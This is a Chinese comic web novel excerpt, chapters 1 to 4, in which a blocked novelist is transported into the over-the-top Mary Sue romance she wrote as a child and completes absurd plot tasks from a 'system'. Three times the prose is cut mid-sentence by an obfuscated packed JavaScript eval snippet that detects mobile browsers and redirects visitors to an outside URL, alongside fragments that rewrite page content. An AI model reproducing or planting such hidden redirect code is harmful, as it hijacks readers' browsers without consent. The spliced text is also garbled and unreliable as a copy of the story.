《穿进自己写的狗血玛丽苏文后》 1. 撞大运了 祁冉离开市图书馆,从兜里掏出手机按亮屏幕。上面显示着六个未接来电,它们来自同一个近期出现频率极高的名字:映月(责编)。 祁冉倒吸一口冷气,但赶在她回拨之前,那个名字的来电又赫然出现在手机屏幕上。她顾不上组织语言,连忙按下接听键。 手机还没凑到耳边,里面就传出一个怒火冲天的女声。 “祁冉!你怎么回事,消息也不回,电话也不接!我看你是钱赚够了,不介意掏违约金!” 映月平时很少用这种暴躁的语气和她说话,很显然祁冉已经踩到了对方的底线。 因此,尽管映月看不见祁冉的表情,祁冉还是赔着笑,摆出良好的认错态度:“老师抱歉,我不是故意不接你的电话。我刚才在图书馆里面,手机开了静音模式,所以没听到铃声。” 这个称呼却给映月的怒气火上浇油:“别叫我老师,你是我老师!” 祁冉刚把手机拿远,就听见那头顿了顿,声音又小了下去:“等会,你去图书馆了?” 不知道是不是因为刚发了好一通火,映月好像恢复了理智,突然抓住句子中的关键词提问。 然而对祁冉来说,映月说这句话还不如像刚才那样骂她一顿。 既然话已经说出去了,祁冉不好当场翻供,只能硬着头皮承认:“嗯。” “行。”映月的语气彻底平静下来,“那敢问大作家,你今天有灵感了吗?” 祁冉试图用笑容缓解尴尬:“哈哈,没有。” 说完她就后悔了。 这样听起来好像更欠揍了。 果然,对面沉默了几秒钟,发出歇斯底里的哀嚎。 “算是我求你,你别再找理由拖稿了,行吗?你这边一出问题,主编回头又要找我……” 她的话听起来十分命苦,虽然祁冉非常同情映月的打工人身份,但她也的确没办法给出一颗定心丸。 祁冉拿出了最为诚恳的语气:“我不是成心不想让你好过,这次我是真的没灵感。” “你别装了!我知道你又想用这招骗我,没门!”映月听多了这种借口,根本不为所动,气呼呼地说道,“上周你都把大纲交给我了,今天又说没灵感?” 祁冉还没来得及出言辩解,映月风风火火地给她撂下最后一句话:“你赶紧写吧,拖到最后对你也没什么好处,熬夜赶稿就不伤身体?我还有别的事,挂了。” 接着,她又颇不放心地喊了一句:“快写!” 于是,电话那头响过一声提示音之后,再没了其他动静。 祁冉望望马路对面的红灯,目光回到手机屏幕主界面上停留了几秒,转而打开下方的那个原创文学网站app,来到通知页面,一封封地点开映月发来的催更站短。 祁冉和映月相识于七年前,那时她刚上大学,成为了一家文学网站的签约作者,映月就是她的责编。后来,她的小说成绩逐渐有了起色,现在也算是个小有名气的作者,因此得到了平台的重视,隔三岔五就会收到映月的消息。 按照合同规定,祁冉每年最少应该发布一本长篇小说,可眼看着已经到了十二月,她今年的存稿字数依然为0,映月为了保住自己的奖金,只能不断地对祁冉进行狂轰滥炸。 点开最后一封站短,祁冉终于消灭了通知标识右上角的小红点,马路对面交通灯的颜色也随之由红转绿。她踩上斑马线,想了想又打开自己的作者主页,上下划动着浏览过去的作品信息,渐渐蹙起了眉头。 从两年前开始,随着网文市场的萎缩,每个作者都被卷入更激烈的竞争当中,起初祁冉仗着自己有一定粉丝基础还对此不以为意,直到她的两本书都喜提惨淡的数据,她这才意识到了形式的严峻。 于是,挨了打的祁冉就像她初出茅庐时那样,潜心分析市场趋势,研究读者喜好,思考下一本书到底该怎样去写。就在这个过程中,她推翻了无数构思,但始终没能找出一个令自己满意的方向,两次三番地给映月交了大纲后又将它全盘否定。 在经历百般折磨之后,祁冉终于受不了这种煎熬,索性减少自己打开网文app的次数,眼不见为净。 逃避虽可耻但有用。 “嘀——!” 一道急促狭长的鸣笛声将祁冉从纷乱的思绪中拉回,周遭同时响起路人惊恐的呼喊。 “小心!” “快闪开!” 走在马路中央的祁冉出于本能循声望去,一辆大货车正发疯似地冲她飞驰而来,巨大的轰鸣声震得她脚下的路面都发出强烈的响动。 她心中猛然一惊,看着车头上那个愈来愈近的品牌名,两个念头一齐涌入脑海。 不幸的是,她的反应神经没有发达到那个程度,尽管大脑一直警告她“快跑”,她依然没来得及迈开腿。 所以,她的脑海中只剩下了第二个念头。 坏了,她撞大运了。 “嘶……” 一阵天旋地转过后,祁冉恢复了几分意识。她尝试着动了动身体,但眼皮沉得厉害,像是睡觉时遇到鬼压床一般,越是极力想醒来却反而陷得越深。 唯一的好消息是,她的身上没有传来预想中的剧痛。 祁冉奋力挣扎了一会,终于卯足一口气掀开眼皮,看向上方的床帐。 不对,她家里哪来的床帐? 祁冉腾地一下坐起身子,慌忙打量着四周的环境。 一缕晨曦透过窗帘,照亮了室内的景象。从家具陈设看,这里像是一个平平无奇的卧室,一套桌椅安静地靠在墙边一隅,与桌子相对的是一个不大不小的书柜,她自己则正坐在一张单人床上面,乍一看好像没什么异常之处。 但是,这些家具的颜色搭配是哪个天才设计师的杰作? 祁冉目之所及尽是一片千姿百态的粉色,那套桌椅是鲜艳的芭比粉,书柜是浅淡的珊瑚粉,而她的床单更不得了,是极其明亮的荧光粉,比打了灯还扎眼。 祁冉非常怀疑这张床的主人能不能睡得着觉。 就在祁冉满腹疑惑的时候,她的脑内忽然响起一道欢快的童声。 【尊敬的宿主您好!欢迎您来到小说《幻彩泪光:星月王子们的心尖宠》中描述的世界,我是系统001,您……】 “等等,你说慢点。”眼看着系统就要一鼓作气地说下去,祁冉赶紧打断它的话,再次向它确认,“什么系统,我现在是在哪?” 【《幻彩泪光:星月王子们的心尖宠》这本书中的世界,这是您在十岁时写下的第一本长篇小说。我是负责维护这个世界运转的系统,引导您完成任务回到现实世界。】 系统的声音听起来像是个稚嫩的小孩,祁冉觉得这音色有些耳熟,但一时又想不起是在哪里听到过,于是暂时搁置这个问题,转而回想着那个充满古早玛丽苏小说气息的书名,在记忆中极力搜寻着这本书的身影。 但祁冉始终没能在脑海中找到一星半点的相关结果,只记得自己从小就喜欢神游天外,在小时候似乎的确写过几个以自己为主角的故事。那时她最喜欢的颜色就是粉色,整天嚷嚷着要把自己房间的一切都染成粉的。 看来这个世界完美还原了她当时的幻想。 身为一名网文作者,祁冉深谙各种穿书和系统的套路,因此没有在这件玄幻的事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16742082|189682||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 情上过多纠结,也省去了让系统介绍前因后果的麻烦。 她直奔主题询问系统:“总之,只要我按照你的指示完成任务,就能返回现实世界?” 【没错。】 此时此刻,祁冉已经在大脑中罗列出了系统的无数种身份。 这个系统很明显属于具有感情、可以自由对话的那一类,但祁冉不确定它是敌是友,小心地试探道:“你需要我去做什么?” 【您的任务很简单,只需要作为女主角,完成书中的全部剧情后即可复活。】 祁冉正准备仔细聆听系统的讲述,它却在说了一句话之后就没了动静。 她愣了愣神,一时没回过神来:“就这样?没有什么其他复杂的设定吗?” 【是的。在出现关键剧情节点之前我会及时提醒您,您只需要跟随任务指引照做即可。】 祁冉拥有多年的网文阅读和写作经验,已经养成了预判情节反转的习惯,她无论如何也不相信这个系统的设定竟然这么简单。 她开门见山地问:“我完成任务对你来说有什么好处?” 系统的语调出现了一丝困惑。 【我为什么一定要从中获得好处?】 这个反问句让祁冉无言以对。 它什么都不图,就纯粹想整人是吧? 你们这是个什么系统啊! 祁冉略一思索,换了个问题:“如果我能通过自由行动触发剧情,提前完成全部故事内容,是不是就可以早点回去?” 她今年的写作任务尚未完成,她还急着回去赶稿。既然这故事是她自己写的,她应该有速通剧情的办法。 【当然可以。但我需要提醒您,如果您在这个世界因为偏离原剧情意外死亡,将无法获得复活机会。】 祁冉现在很想回到十五年前看看自己到底写了什么怪东西。 怎么在一个玛丽苏小说里还有死亡风险? 她战战兢兢地问:“如果我能按照任务指引正常完成剧情,应该不会出事吧?” 【是的,按照书中的剧情来讲,您在任务过程中不会遭遇生命危险,也不会受到真实伤害。温馨提示,这个世界与现实世界的时间流速不同,这里的一天仅仅相当于现实中的一秒钟,所以您不用担心任务时长。】 得到系统的保证,祁冉稍稍松了口气,分析起眼下的状况来。 目前她根本想不起来那本小说的内容,对这个世界还知之甚少,贸然出击有可能会遇到危险。命只有一条,从眼下的情况来看她还是小心行事为妙。 于是祁冉制定了初步行动方针:猥琐发育,苟命要紧。 明确了目标,祁冉和系统聊起正事:“那我的第一个任务是什么?” 【别着急,为了方便您理解剧情,在任务开始前,我需要向您介绍您的个人信息。请您先去卫生间洗漱,我会将女主角的相关设定标注在您身旁。】 祁冉按照系统指示翻身下床,却在穿鞋时惊异地发现,姹紫嫣红的花瓣从空中打着旋飘落,眨眼间的功夫就在她的拖鞋旁堆积成了一座小山。 她抬头望向天花板,那里只有一片浑然天成的粉色。 祁冉不解地挠挠头,却抓下来一把五彩斑斓的花瓣。 她突然像是意识到什么一样,迅速扯来脑后的头发。但祁冉的关注点很快就从“花瓣的来源”这个问题上转移开来。 她沉默地盯着自己手中的七彩长发,每种颜色的宽度都保持着惊人的一致,像是有人提前在她的头上做好了建设规划。 祁冉心头涌上一阵不祥的预感。 她的任务之路可能不会太顺利。 2. 拼好文 踩着一路的花瓣,祁冉在卫生间的镜子前站定,系统按照它先前的说法,将女主角的人物介绍显示在一张半透明的悬浮屏上,投射在了祁冉身边。 趁着刷牙的功夫,祁冉开始查看那一大片密密麻麻的文字。 【人物姓名:冰晶泪·蝶梦·Q·雪琉璃(小名:泪儿)】 由于阅读速度过快,祁冉的大脑没能在第一时间发出缓冲的指令,她险些把自己嘴里的泡沫咽下去。 这名字倒确实很有她小时候的风格,保险起见,祁冉放慢了浏览速度,谨慎地继续往下看。 【人物简介:一个平凡的(但其实一点也不)花季少女,性格善良单纯、坚强正直,有着如海藻般浓密的七彩长发,自带花瓣飘落的特效,开心时周围有蝴蝶飞舞,愤怒时身边电闪雷鸣,伤心时会流出珍珠眼泪,身上有神秘的蔷薇花香,智商超群但自认为很普通,拥有全宇宙最纯净的灵魂和最███,能吸引世界上的一切生物……】 作为一个文字工作者,祁冉觉得自己受到了严重的精神污染。 她吐掉嘴里的牙膏沫,神情复杂地问系统:“这真的是我小时候写的小说吗,你确定你没有找错人?” 【是的。】 完了,从今天起她就要顶着这个大名招摇过市了。 祁冉先把那些槽点放到一边,转而抓住那个显眼的异常处提问:“那些被遮住的文字是什么?” 【这是剧情后期才会解锁的信息,现在不便告知,请您见谅。】 系统没有给她留出一丝获取额外情报的余地,祁冉现在只能祈祷自己小时候没整什么大活。 接着,她身旁的悬浮屏闪了闪,加载出了一段新文字。 【剧情:今天是艾利牛顿商学院开学的日子,这是一所历史悠久的世界顶尖贵族学院,聚集了来自全球各地的富家子弟和精英人才。和他们不同,泪儿出身平凡,却凭借优异的成绩获得了特招生资格入学,她想在这里默默无闻地生活,但她七彩的头发、莫名的花香、总是吸引麻烦(和男主)的体质让她无法低调。】 【任务:洗漱完毕后对着镜子给自己打气,然后叼着面包片跑出门去报道,面对阳光放声大笑,元气满满地迎接自己在艾利牛顿商学院的新生活~】 这剧情有病吧! 考虑到自己之后还要仰仗系统给她提供任务指引,祁冉没敢直接把自己的感想说出口,只能任由她的思绪在脑海中上下翻涌。 很早之前她就想吐槽了,这个世界的每一处都充满了既视感,这个“艾利牛顿商学院”的校名显然来自她的童年热门偶像剧,还使用知名物理学家的名字为它镀了层金,少女叼着面包片出门上学也是日漫的经典镜头,给自己打气的桥段更是很容易就让人联想到那句“加油,鹿小葵!”的知名台词。 都怪她小时候太喜欢看电视,知识都学杂了! 从祁冉的职业角度评判,她当初写的这篇小说完全就是一个缝合怪,把那些经典情节一股脑地塞进这本书里,然后拼凑删改。比起创作,这个行为更像是模仿和抄袭。 祁冉一边洗脸一边后怕地想,还好那会她年龄小什么都不懂,没有公开发表这本小说,要不然她不光要负法律责任,搞不好还要被激进的网友人肉,把真实信息扒出来挂在网上被全网讨伐。 祁冉拿毛巾擦干脸上的水,强忍尴尬再次确认了一遍自己接下来的任务。 【洗漱完毕后对着镜子给自己打气……迎接自己在艾利牛顿商学院的新生活~】 虽然那个波浪号没有做错任何事,但受到前面那些词句的影响,它被连带着都产生了一种贱兮兮的语气。 不过为了能够早日复活回家,脸面根本不足挂齿。 更何况这张脸其实还挺让人满意的。 祁冉抬头望向镜中的自己,忽略掉那头突兀的七彩长发,她原本就相貌清秀,这个玛丽苏世界又给她添了层美颜滤镜,将她改造成一副彻头彻尾的清纯柔弱小白花的形象:皮肤白皙,在灯光下泛着珍珠般细腻莹润的光泽,唇色也极浅,却并非那种不健康的毫无血色的模样,倒像是瓷器表面的一层淡淡的红釉。由于她的睫毛纤长浓密,这显得她眼眸低垂,像是含着笑意,其中又藏着几分机敏。 面对着这张美颜,祁冉做好心理建设,扬起唇角说出她的台词。 “加油,冰、冰晶泪!” 祁冉说到一半就开始打绊子,后面几个字完全是她从牙缝里挤出来的。 这和大声宣读自己少不更事时起的黑历史网名有什么区别? 【抱歉,您的任务完成不到位,请再试一次。】 那童声还是一如既往的活泼,但在祁冉听来,它分明就是在幸灾乐祸。 考虑到她的时间紧张,祁冉豁出去了,拿出军训喊口号时的力度,扯着嗓子大喊:“加油,冰晶泪!” 铿锵有力,中气十足。 这次系统没有再发出任务失败的提示,祁冉赶紧去厨房找了片面包,推开家门飞奔出去,火速赶往下一个剧情点。 在她踏上人行道的瞬间,祁冉意识到自己正要面临一个新的社死挑战。 现在是早上九点,街道和马路上都已经是一派车水马龙的景象。就在这里,她要像一些电视剧中的小太阳女主那样,拥抱阳光开怀大笑。 万事开头难,迈出了任务的第一步,祁冉对此已经无所谓了。 她先吃掉了嘴里叼着的面包片,防止待会自己噎着,然后仰起头露出灿烂笑容,发出了像黑摸仙小月一样的笑声。 “哈哈哈哈哈哈,哈哈哈哈哈哈!我要去艾利牛顿商学院上学了!” 祁冉本以为她的折磨就到此结束了,但没想到她爽朗清亮的笑声引得周围的路人都纷纷侧目。奇异的是,当他们的目光落到祁冉身上时,眼神中都带上了些赞赏和钦羡的意味。 接着,路人突然聚拢起来,涌到祁冉身边,像观众一样站在一起为她鼓掌,对她赞不绝口。 “好开朗的女孩!” “恭喜你考上艾利牛顿商学院!” “谢谢你,是你让我意识到应该笑对人生,快乐开始新一天!” 虽然眼前的场景充满了《意林》的味道,但面对大家的好意,祁冉还是很有礼貌地说鞠躬道谢,并且像营业偶像那样对大家挥手致意,笑容幅度更大了。 哈哈,她迟早也会变成疯子。 然而,系统像是将祁冉此刻的情绪判断为了开心,她的身边凭空冒出一群蝴蝶,绕着她的脑袋上下翩飞。 神经病吧! 祁冉不明白自己小时候的脑子里到底装了些什么东西,怎么能写出这么抽象的剧情? 她现在很怀疑这第一个任务根本就是服从性测试,后面还有更离谱的东西等着她。 总之,怀着无语和忐忑的心情,顶着一头干扰视线的蝴蝶和花瓣特效,祁冉终于乘上公交车抵达了任务目的地,艾利牛顿商学院。 祁冉站在校门口,比起那道宽敞且极富设计感的大门、刻有精致繁复的浮雕的石柱,以及门后那些恢弘气派的建筑群,她第一眼看到的反而是那些聚集在校园内外的学生。 如系统所说,今天是艾利牛顿商学院开学的日子,校门口附近可谓是人山人海,而这些学生们也相当符合这个玛丽苏世界的画风,从瞳色到发色都鲜艳夺目,一张国际标准色卡都不够他们分的,晃得人眼花缭乱。 祁冉看着这些攒动的彩色人头,她觉得这学校改名叫“艾利牛顿大花园”更合适。 要不是她自己就拥有一头七彩头发,一瞬间祁冉都怀疑自己早上吃的是不是菌子。 “大家都让一让,慕容少爷来了!” 周遭忽然传来几声呼喊,人群被驱赶着向道路两侧分散开来。祁冉随人潮走到路边,还没来得及向系统询问情况,只见一辆光彩炫目的钻石轿车飞驰而来,停在校门口,从车上下来了一大帮西装革履的彪形大汉,乌泱泱地带来极强的威压感。他们神情肃穆,整齐划一地列队站在轿车两侧,由其中两个男人探身去接引车内的雇主下车。 祁冉曾经在无数故事中见到这场面,这些人显然都是什么霸总富豪身边的保镖。 所以,她更惊叹于这辆车的容量。一辆正常大小的四座轿车,里面居然塞下了近一百号人。 而且这钻石轿车无论走到哪里都会造成严重的光污染,他们一路过来竟然没发生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16742083|189682||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 交通事故。 玛丽苏世界,很神奇吧? 在车上的最后两个男人露出全貌时,祁冉身边的人群顿时沸腾起来。 “那就是慕容少爷和洛玄少爷!” “太幸运了,我们竟然能亲眼见到本尊!” 在一片骚乱中,祁冉脑中的系统适时地跳出来,在那两个站在人墙中心的男人身旁,分别出现了一个悬浮屏。 祁冉先望向左边的那个男人。他和其他保镖的打扮相似,同样是一身正装,但却明显比旁人多了些骄矜的气度,从发丝到身上没有一丝褶皱的衣裤、腕上闪着光的手表,一切都妥帖精致得恰到好处;他鼻梁挺拔,一双剑眉压在眼眶上,生出不可一世的倨傲来。 【人物姓名:慕容绝】 祁冉庆幸他的名字不像自己那么长,不然要是多来几个男主角,她连人都记不住。 【人物简介:全球首富,掌握全球经济命脉,世界第一家族——慕容家的大少爷。外貌为黑发红瞳,性格看似成熟稳重,实际霸道专制,名言“女人,你成功引起了我的注意”。拥有███血脉。一开始觉得泪儿很特别,想强行占有她,后期却爱得失去自我。】 祁冉明白了,这是经典霸总人设。她把视线移向右边,那人五官深邃,面色沉静,却衬得下颌线清晰利落,看起来和慕容绝年龄相仿,正在和他说些什么,身上穿着艾利牛顿商学院的统一制服,显然也是这里的学生。 虽然他的配色和现实中的人一样,是平平无奇的黑发黑瞳,但在这个异彩纷呈的玛丽苏世界,他反而显得格外突出。 祁冉有种“他乡遇故知”般的感动。而你,兄弟,你才是唯一的中国人。 【人物姓名:洛玄】 【人物简介:慕容绝的表弟,母亲是过去慕容家族的大千金,父母被人暗害去世后继承父亲的产业并回到慕容家生活。表面上是学识渊博、多才多艺的全能优秀学生,实际███,看似平凡却拥有███的能力。他性格安静温和,和泪儿有几生几世的缘分,总是默默守护在她身边,是她最忠诚的骑士。】 祁冉通读全文,愣是没看出来这人哪里平凡。 接着,系统发布了新任务。 【剧情:泪儿满心欢喜地来到艾利牛顿商学院报道,却没想到在开学第一天就撞坏了慕容绝的限量版豪华轿车。慕容绝得理不饶人,非要泪儿当场赔偿,泪儿一时拿不出那么多钱,认为慕容绝是故意刁难自己所以胡搅蛮缠,大骂他一顿后被慕容绝记住,从此她再也无法从他的掌控中逃离。】 【任务:撞坏慕容绝的轿车并主动提出赔偿,拒绝他的无理要求,怒斥他的傲慢态度,然后愤然离去。】 祁冉看了看在她前方扎堆的那一大帮孔武有力的黑衣人,再看了看赤手空拳自己,疑惑地向系统发问:“我手上什么东西都没有,要怎么做才能撞坏慕容绝的轿车啊?” 【您自己直接撞过去就好,原剧情就是这么写的。】 祁冉大脑中飞过一连串的问号。 她的身体比金刚石还硬是吧?说好的纤柔娇弱呢? “我去撞车不就是鸡蛋碰石头吗?” 【放心,只要您的行动符合书中设定,就不会受到任何伤害。】 既然系统都这么说了,祁冉也没再浪费时间。她混进人潮里面,朝着学校大门的方向移动,同时小心调整自己的行进路线,以便靠近那些慕容家保镖围起来的人墙。 在经过两个保镖之间的缝隙时,祁冉瞅准时机来了一个左脚绊右脚,假装发出一声惊呼。 “啊!” 栽下去的瞬间,祁冉条件反射地闭紧了双眼,但她的身体上不仅没有传来痛感,也没有丝毫碰到硬物的感觉,像是倒在了一堆棉花上面。 她睁开眼睛回头望去,轿车的引擎盖已经被她砸下去了一个巨大的凹坑。 祁冉达成目的,赶忙站起身来抖掉身上的钻石粉末,转头观察任务对象慕容绝的反应。 “等等。” 几个保镖马上就要过来拉开祁冉,却因为慕容绝的命令停下了脚步。 他看向祁冉,脸上浮起一丝冷笑。 “这位小姐,你没事吧?” 3. 霸道总裁 “没事。” 到底是她撞坏了慕容绝的轿车,祁冉多少有些心虚,她扯扯衣角,勉强挤出一个微笑说道:“慕容少爷对不起,我刚才不小心被绊了一下,撞坏了您的车,实在抱歉。” “那好。”慕容绝走到车旁,将胳膊往车顶一搭,注视着祁冉说道,“既然你没事,那我们就来说说我的车吧。” 旁边的洛玄插话进来:“表哥——” 慕容绝做出一个拒绝的手势:“洛玄,这是我和这位小姐之间的事。” 洛玄见状也不好再说什么,只能暂时保持沉默。 为了加快任务进度,祁冉主动cue流程,拿出了最认真的语气:“您的车是我撞坏的,理应由我负责。我愿意作出相应赔偿。” “赔偿?”慕容绝像是听到了一个滑稽的笑话,他眼中的笑意更甚,用打趣般的口吻说道,“小姐,这是限量版轿车,全球仅此一辆,是有市无价的东西,你要怎么赔?” 祁冉兢兢业业地扮演着倔强小白花的人设,神情坚毅道:“不管怎么样,事情是因我而起,我就必须为此承担责任。您开个价,我会努力把钱凑够。” “这样,我也不想为难你,就少说几千位数吧。”慕容绝笑了笑,云淡风轻地报了个数,“一万亿。” 这世界的通货膨胀真够厉害的。 赶在洛玄再次开口之前,慕容绝又将他的话堵了回去。 “可以。”祁冉面不改色地演戏,“我会尽量早点把钱给您。” 她怎么可能赔得起啊,把她卖了都没有这么多钱! “不好意思,在我慕容绝的字典里,没有‘赊账’二字。”慕容绝凑近祁冉,随之带来一阵淡淡的木质香气,“我要你现在就赔偿。” 祁冉严肃地对慕容绝说道:“慕容少爷,该给您的赔偿我一分都不会少,但现在我没有那么多钱,我之后……” “这位小姐不好意思,我每天都很忙,顾不上惦记你这事。” 慕容绝打断她的话,轻蔑地说了句,“你自己闯了祸,反而要和我谈条件?” 祁冉现在是真的有点生气了:“慕容少爷,这就是您不讲道理了。我是该赔偿没错,但您也要给我留些时间,我怎么可能一下子拿出那么多钱?” “真是奇怪。”慕容绝用审视的目光将祁冉从头到脚地扫了一遍,然后又看了看她身后那块镌刻着“艾利牛顿商学院”七个大字的大理石,“你能来这里上学,却拿不出这点钱?” “我是特招生。” 慕容绝轻笑一声:“哦,原来是来这里见世面的底层人。” “底层人”这三个字配上他轻慢的语气变得尤为刺耳,他的神情完全就是一副傲慢天龙人的嘴脸,终于冲破了祁冉的忍耐底线,让她根本不用任何表演技巧就能完成接下来的对话。 “底层人怎么了,你吃的粮食不是由农民种出来的?你住的房子不是工人盖的?他们当中有没有底层人?你那么有能耐,怎么不自己干?”祁冉身边的电闪雷鸣彰显着她愤慨的心情,“我是特招生没错,但我也是堂堂正正地入学,不比你们这些花钱出风头的人差。如果你没有出生在慕容家,就凭你自己,你能有今天的成就?” 她连珠炮似地说了一大堆,无意间瞥见了站在一旁沉默不语的洛玄。 她缓和语气补了一句:“抱歉,我没说你。” 一码归一码,她只是在做任务而已,没必要殃及无辜啊! 洛玄愣了愣,他没想到祁冉正在气头上竟然还记得顾及她的心情。 他应了句“没关系”,趁着慕容绝发怔的空当,洛玄抓紧时机劝解他:“表哥,我们还是不要为难她了。” 慕容绝回过神,他对洛玄的话不置可否,只是注视了祁冉一会,突然笑了起来。 “有趣。你还是第一个敢这样对我说话的人。” 祁冉心中警铃大作。 按这个套路,他的下一句话就是—— “女人,你成功引起了我的注意。” 尽管事先有心理准备,祁冉还是被尬得头皮发麻,她竭力拉扯着面部肌肉才维持住那副严肃的神情,死死地盯住面前的慕容绝:“慕容少爷,我不想再和您纠缠了。之后我一定会把钱还给您。” 祁冉说完扭头就走,一套动作干净利落。 背后传来慕容绝的声音:“这位小姐,我还不知道你的名字。” 祁冉生怕慕容绝再发什么癫横生枝节,索性装没听见,飞快地逃离了现场。 慕容绝却觉得她挺硬气,他倒也不恼,只是笑着用胳膊撞了下旁边的洛玄:“帮我留意她。” 按照系统指引,祁冉完成全部报到手续后,来到自己所在的班级教室,找到贴着她姓名的桌椅落座。 显而易见,她十岁的时候还并不知道大学上课没有固定的教室和座位。 祁冉坐下来歇了口气,视线随意地往前方一落,突然发现桌斗里面满满当当地全是信封,稍微动一下就能溢出来。 直觉告诉她不对劲,她赶紧拆开其中的一封信,信纸上满是潇洒俊逸的字迹。 “亲爱的泪儿,你比天上的星星更美丽,比地上的花朵更娇嫩,比海里的珍珠更闪耀。如果没有你,我就好像鱼儿离了水……” 很明显,这是一封情书。 当祁冉拆到第一百封信的时候,她脸上只有一副木然的表情了。 今天刚开学,有几个人认识她啊,哪来的这么多信? 系统及时跳出来解释:【宿主您好,这是剧情设定的一部分。】 祁冉很绝望,这意味着以后每天她到校的第一件事就是清空桌斗里的情书。 像是觉得她还不够崩溃,又有几个男生结伴前来,一脸羞涩地往她桌斗里塞信封。 要不是因为害怕偏离剧情,祁冉真的很想和他们打一架。 她人就坐在这里,偷偷摸摸塞情书的意义到底在哪? 教室外的铃声及时拯救了祁冉,老师进门示意大家安静,简单说了几句新生寄语,转而过渡到上课的话题上。 “我知道,能来到这里的同学都是来自全球各地的精英人才,所以我们也会拿出最顶尖的教学方案。我们的课程内容难度很高,希望大家能认真对待。我来举个例子。” 她回头在白板上唰唰地写了一道例题,动作行云流水,带有几分高智商人士面对难题的潇洒与从容。 “这个问题,有同学能解答出来吗?” 讲台下方的学生都开始交头接耳,一时间教室里只剩下了讨论声和笔尖在纸面上的摩擦声。 祁冉反复阅读着题目,开始思考老师问的到底是不是哲学问题。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16742084|189682||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那里赫然摆着一句“1+1=?”。 老师环视着教室里的学生:“没有人主动回答吗?那我随机叫一个同学。” 祁冉上学时一听见这句话就紧张,她出于本能将头低了下去,假装在纸上认真计算。 “倒数第二排靠窗的那位同学,请你来解答一下。” 祁冉心肺骤停。 她就知道坐在主角专属座位上肯定没好事! “好的老师。”她装出落落大方的样子站起身来,目视前方,坦然自信地回答,“我认为答案是2。” 其实祁冉心里根本没底。 这个玛丽苏世界的逻辑都混乱成那样了,谁知道这个等式到底还成立不成立? “这位同学,你——” 老师的声音满是惊讶。 祁冉做好了被公开处刑的准备。 “——你竟然能解出这样一道世纪难题!”她不遗余力地证明祁冉这个答案的含金量,“这道题全球只有两个人会做,待会你留一下联系方式和相关材料,我可以帮你申请国际奖项和荣誉……” “什么,她居然知道1+1=2?” “可恶,我怎么没有想到,1+1竟然是等于2的!” 祁冉一边微笑着感谢老师同学们的赞美,一边在内心土拨鼠尖叫。 这是什么“一觉醒来,全世界的智商下降一百倍”的桥段? 而在她向四面八方鞠躬时,看到了一双沉静如海的眼眸。 是洛玄。 在和祁冉对视后,他在流露出惊奇目光的同时微微颔首,像是在和祁冉打招呼。 现在祁冉只想钻到地板缝里面。 或许是因为洛玄的配色和反应太过正常,这会他显得与现实世界的人没什么区别。而且,由于祁冉从小到大的口味都没怎么变过,她自己创造出的男主们都相当符合她的xp系统。 比尴尬更可怕的是,在你脚趾抠地的时候,有个陌生帅哥在旁边注视全过程并一直盯着你看。 因为这场风波,祁冉的后半节课什么都没听进去,就这样窘迫不已地捱到了下课。 不过这其实是好事,反正课堂内容也全是对祁冉智商的嘲讽。 在下课铃打响之后,系统的声音也蹦了出来。 【剧情:泪儿没想到竟然会在教室里遇见洛玄,下课后他主动来找泪儿,对她在课堂上的出色回答表示惊叹,并邀请她加入学校里的科技协会。】 【任务:和洛玄友好聊天,答应他的邀请并按时赴约。】 听到任务内容,祁冉刚才的负面情绪被一扫而空。 这可是她遇见的第一个正常任务! 祁冉刚把书本放回包里,桌面就被人轻轻叩响。她抬起头,对上洛玄的双眼。 “这位……” 他刚说了两个字就顿住了,祁冉忽然意识到洛玄还不知道自己的名字,便对他微微一笑:“洛玄少爷,我叫冰晶泪·蝶、蝶梦·Q·雪……琉璃,您可以叫我泪儿。” 这个名字太长,念起来又拗口,祁冉差点没想起来。 “好的,泪儿小姐。你和我说话可以不用敬称。”洛玄话锋一转,有些局促地说,“我给你讲个笑话吧。” 祁冉没想到他会冷不丁地冒出这么一句话。 她一脸茫然:“啊?” 4. 校园f3 面对祁冉的疑惑,洛玄显得更紧张了,他无措地解释道:“早上在校门口的时候,表哥和你发生了冲突,你当时很生气,所以我想着给你讲个笑话,这样你可能就会开心点……” 祁冉怔了一瞬,然后笑得前仰后合。 为防止崩人设,她警告自己笑得别太猖狂,上气不接下气地说:“谢谢你,我现在就很开心。” 洛玄这句话可比笑话好笑多了好吗! “那就好。表哥的行事风格一直都是那样,你别往心里去。”见祁冉笑得那么灿烂,洛玄判断她的心情应该已经转晴,也跟着她露出释然的微笑,“本来我的教室不在这里,但早上发生了那样的事,我实在不放心,就跟过来看看。” “真是麻烦你了。”祁冉觉得洛玄心思挺细腻,这人能处,“谢谢关心。” 